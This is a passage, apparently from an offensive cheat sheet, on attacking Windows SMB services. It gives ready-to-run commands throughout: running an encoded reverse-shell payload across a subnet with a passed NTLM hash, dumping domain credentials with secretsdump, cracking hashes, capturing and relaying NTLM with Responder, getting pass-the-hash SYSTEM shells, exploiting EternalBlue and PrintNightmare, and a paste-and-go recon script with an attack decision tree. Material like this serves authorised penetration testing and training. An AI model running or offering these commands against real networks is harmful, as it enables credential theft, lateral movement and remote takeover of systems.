crackmapexec smb 192.168.1.0/24 -u administrator -H <NTLM_HASH> \
    -x "powershell -enc <BASE64_REVERSE_SHELL>"

# Full domain hash dump (if DC creds available)
impacket-secretsdump DOMAIN/administrator:password@<DC_IP>
impacket-secretsdump DOMAIN/administrator@<DC_IP> -hashes :<NTLM_HASH>

# Output includes:
# [*] Dumping local SAM hashes
# Administrator:500:aad3b...:31d6cfe...:::
# [*] Dumping cached domain logon information
# [*] Dumping LSA Secrets
# DPAPI_SYSTEM: ...
# _SC_servicename: ...cleartext password...
# [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
# DOMAIN\user1:1103:aad3b...:HASH:::

# Crack ALL domain hashes at once:
# Extract NT hashes only:
grep ':::' domain_hashes.txt | cut -d: -f4 > nt_hashes.txt
hashcat -a 0 -m 1000 nt_hashes.txt /usr/share/wordlists/rockyou.txt

ENUMERATION:
──────────────────────────────────────────────────────────────────────
Quick host scan?               → nmap -p 139,445 -sV -sC <IP>
Protocol version check?        → nmap -p 445 --script smb-protocols <IP>
Null session shares?           → smbclient -L //<IP> -N
Share permissions?             → smbmap -H <IP>
Full auto enumeration?         → enum4linux-ng -A <IP>
User enumeration?              → rpcclient → enumdomusers
RID brute force?               → impacket-lookupsid anonymous@<IP>
Authenticated enum?            → crackmapexec smb <IP> -u user -p pass --shares --users

VULNERABILITY SCANNING:
──────────────────────────────────────────────────────────────────────
All SMB vulns?                 → nmap --script smb-vuln* -p 139,445 <IP>
EternalBlue check?             → nmap --script smb-vuln-ms17-010 / MSF smb_ms17_010
Relay targets?                 → crackmapexec smb 192.168.1.0/24 --gen-relay-list out.txt

EXPLOITATION:
──────────────────────────────────────────────────────────────────────
EternalBlue (MS17-010)?        → MSF ms17_010_eternalblue OR AutoBlue
MS08-067 (XP/2003)?            → MSF ms08_067_netapi
SambaCry (Linux)?              → MSF exploit/linux/samba/is_known_pipename
PrintNightmare?                → cube0x0 CVE-2021-1675.py + DLL payload

HASH ATTACKS:
──────────────────────────────────────────────────────────────────────
Capture NTLMv2?                → sudo python3 Responder.py -I eth0 -wrf
Crack NTLMv2?                  → hashcat -m 5600 hash.txt rockyou.txt
NTLM Relay?                    → Responder (SMB=Off) + ntlmrelayx -tf targets.txt
Dump hashes (remote)?          → impacket-secretsdump user:pass@<IP>
Pass-the-Hash?                 → impacket-psexec /<IP> -hashes :<NTLMHASH>
PTH with domain?               → crackmapexec smb 192.168.1.0/24 -u admin -H <HASH>

SHELL ACCESS:
──────────────────────────────────────────────────────────────────────
Want SYSTEM shell?             → impacket-psexec / MSF psexec module
Quieter shell?                 → impacket-wmiexec (no service creation)
Have WinRM?                    → evil-winrm -i <IP> -u user -p pass
Have meterpreter?              → run post/windows/manage/shell_to_meterpreter

# Full SMB recon — paste and go
TARGET=<IP>

echo "[*] Nmap SMB ports + version"
nmap -p 139,445 -sV -sC $TARGET

echo "[*] SMB protocol versions"
nmap -p 445 --script smb-protocols,smb-security-mode $TARGET

echo "[*] Vulnerability scan"
nmap -p 139,445 --script smb-vuln* $TARGET

echo "[*] Null session share list"
smbclient -L //$TARGET -N

echo "[*] smbmap share permissions"
smbmap -H $TARGET

echo "[*] Full enum4linux scan"
enum4linux-ng -A $TARGET

echo "[*] CrackMapExec host info"
crackmapexec smb $TARGET

Got SMB (port 445) open?
│
├── Check SMB version
│   ├── SMBv1 enabled?
│   │   ├── Windows XP/2003? → MS08-067 (nmap + MSF ms08_067_netapi)
│   │   └── Windows 7/2008/2012/2016? → MS17-010 (nmap + MSF eternalblue)
│   └── Only SMBv2/v3? → move to credential attacks
│
├── Null session / guest access works?
│   ├── YES → enumerate shares, users, password policy
│   └── NO  → try brute force / password spray
│
├── SMB Signing disabled?
│   ├── YES → setup NTLM relay (Responder + ntlmrelayx)
│   └── NO  → relay not possible, capture + crack hashes only
│
├── Have valid credentials?
│   ├── crackmapexec smb → check if admin (Pwned! marker)
│   ├── smbmap / smbclient → explore shares
│   ├── impacket-secretsdump → dump hashes
│   └── impacket-psexec / wmiexec → get shell
│
└── Have NTLM hash?
    ├── impacket-psexec -hashes :HASH → SYSTEM shell
    ├── evil-winrm -H HASH → PowerShell (if WinRM open)
    └── crackmapexec smb subnet -H HASH → spray for lateral movement